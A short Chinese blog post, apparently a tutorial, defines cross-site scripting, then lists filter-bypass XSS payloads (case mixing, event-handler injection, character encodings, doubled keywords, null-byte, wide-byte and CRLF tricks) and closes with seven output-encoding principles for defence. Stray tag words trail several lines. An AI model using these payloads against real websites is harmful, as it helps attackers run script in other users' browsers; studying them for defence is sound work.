跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。javascript
具体的一些介绍与简单的实例就不作详述了,本文主要介绍的是XSS的绕过技巧与防护。java
<ScRIpT>alert('123')</sCRIpT>
1.十六进制编码 2.jsfuck编码 3.url编码 4.unicode编码 <0x736372697074>alert('123')</0x736372697074> <img src="1" onerror="alert(1)"> '被过滤,咱们能够将'写为 ' 将"/"转义为"/"
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
"><script>alert(/123/)</script> </script><script>alert(1)</script>
<img src="x" onerror="alert(1)"> <button onclick="javascript:alert('xss')>XSS</button"> <title><img a="</title><img/src=1 onerror=alert(1)//"> "onsubmit=javascript:alert(1)%20name="a
%0aalert(1); %0a 换行符 /**/ 替换空格 %00 截断
<img ononerrorerror="123"> <script>alalertert(123)</script>
gbxxxx系列的编码,那么咱们尝试一下宽字节 %c0 %bf %5c
onload onclick onerror prompt confirm onmousemove
CRLF是”回车 + 换行”(\r\n)的简称。 http://www.xxx.com%0d%0a%0d%0a+xss代码 <svg/onload=prompt(1)>
原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据xss
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码svg
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码编码
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码url
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码code
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码事件
原则7:使用富文本时,使用XSS规则引擎进行编码过滤ip
欢迎访问独立博客joy_nickunicode